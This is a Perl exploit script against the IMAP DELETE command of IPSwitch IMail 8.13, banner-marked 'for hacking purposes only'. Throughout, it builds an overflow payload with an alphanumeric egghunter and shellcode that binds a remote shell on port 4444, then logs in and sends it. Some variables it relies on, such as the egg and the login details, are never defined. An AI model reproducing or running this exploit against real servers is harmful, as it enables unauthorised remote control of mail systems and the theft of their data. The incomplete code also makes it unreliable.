Exploit:
#!/usr/bin/perl -w
###################################
#
# IPSwitch-IMail-8.13-DELETE - SECU
#
# Discovered by : Muts
# Coded by : Zatlander
# WWW.WHITEHAT.CO.IL
#
##################################
#
# Plain vanilla stack overflow in the DELETE command
# Restrictions:
# - Need valid authentication credentials
# - Input buffer only allows characters between x20 -> x7e
#
# Credits:
# - http://www.metasploit.org - HD Moore for the metasploit shellcode
# - http://www.edup.tudelft.nl/~bjwever/menu.html - skylined for the ALPHA ascii shellcode generator
# - http://www.hick.org - for the syscall egghunt code in the paper "Understanding Windows Shellcode"
#
##################################
use IO::Socket;
use Getopt::Std;
use Mail::IMAPClient;
print "Exploit for the IPSwitch IMail DELETE buffer overflow\n";
print "C0d3d by Zatlander\n";
print "Discovered by Muts\n";
print "WWW.WHITEHAT.CO.IL\n";
print "For hacking purposes only!!!\n\n";
# Find shellcode with signature "w00tw00t"; start from esp
# from 0 -> $egghunter = "TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIVSyBUco0OKbWdp00ptH0uXqRnkH
H2a3PLMvtvqzm6NulfePabTiaxbycrb09Gjt5xkTySjeTsEzFmSo2eXyoKRA";
$egghunter = "TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJINkN44skpmkt7fPTpptx0UXpBLKkx1Q3PLMtT4QxMVN5lc5sQS
DxqyrjSW2VYUJRUXkp9SjVdT5KVosKrWxioKRA";
# Real shellcode: bind shell on port 4444 ( ./alpha edx < shellcode.bin )
$shellcode = "JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIKLjH2vUP7puPQCQEV6aGnkbLWT28NkpEWLlKpT35QhgqKZlK
PJvxLKQJWPuQXkKSdrSyLKgDLKuQJNVQ9okLP1KpLlP8kPBT7wyQXOVmvahGZKl25kSLwTGdqeKQlK2zUts1jKSVnktL0K
NkaJWlUQxkLK7tnkUQM8zKgrVQYP1OqNQMQKkreXWpSnSZp03i1tlKGilKSkvlLKQK5Lnk7kLKckTH0SSXLNpN6nJLKOJv
K9IWK1ZLuPfawps0Rwv63cMYiuJHDguPuPS0Np7qWp7pnV6ywhYwMttYt0Yym5QYK62inDvzd0Kwy4nMDniyXYUYkEN
MHKxmylgKpWPSVRSovS4ruPckLMpKupRqKOYGK9YOoyKsLMBUTTRJs7Ryv1RsYoTtNokOv534pYk9dDNnyrxrtkgWPT
KOtwIoRutpfQkp2ppPrpF0spPPaPv09oRuFLniYWuaYKScpSe86bC07a3lmYIpSZVpRpQGyoruQ4QCF7kOv5thBsSdSgIoR
uUpNiYWPhpCRmStwpoyXcLGyjDqIPnmQlQ4NLaz7e69zSlkNgJZosXlPTkvQT7TTP1TQvYWpDWTul5QUQLIcLTdRhK9S
LQ4RlmY1letPPLMSt5tFpqDrppQRqCaSqSa2iBqRqRspQKO45uPbH0rKNNS4VKOpU5TyoXPLIyvKO45S0QxnMN9fexN
Yov5S4oyHCbJKOKOTvkOzsyorU30BHl0MZfdaOkORu7tFQyKPSIo8PA";
# jb +20; jnb +20 -> jump over return address (0x21 is first ascii safe offset)
$jmp21 = "r!s!";
# 0x6921526A -> pointer to "CALL [EDX+8]" ends up in return address
##########################################################################
# This should hopefully be the only version dependent variable here.
# Find an ASCII safe address pointing to a CALL [EDX+8] for your OS
##########################################################################
$calledx8 = "jR!i";
$payload = "A" x 236 . $jmp21 x 3 . $calledx8 . "S" x 29 . $asciieh . "\r\n";
print "Login in to $host as $usr/$pwd\n";
my $imap = Mail::IMAPClient->new( Server => $host, User => $usr, Password=> $pwd) or die "Cannot connect: $@";
print "count: " . $imap->message_count("Inbox") . "\n";
print "Sending EGG\n";
$imap->select("Inbox") or die "Could not select: $@\n";
my $uid = $imap->append( "Inbox", $email ) or die "Cannot append: $@";
$msg = $imap->message_string($uid) or die "Cannot get message: $@";
#$msg = $imap->body_string($uid) or die "Cannot get message: $@";
#print "retrieving $uid back: $msg\n";
print "Overflowing DELETE\n";
$imap->delete($payload) or die "Cannot delete: $@n";
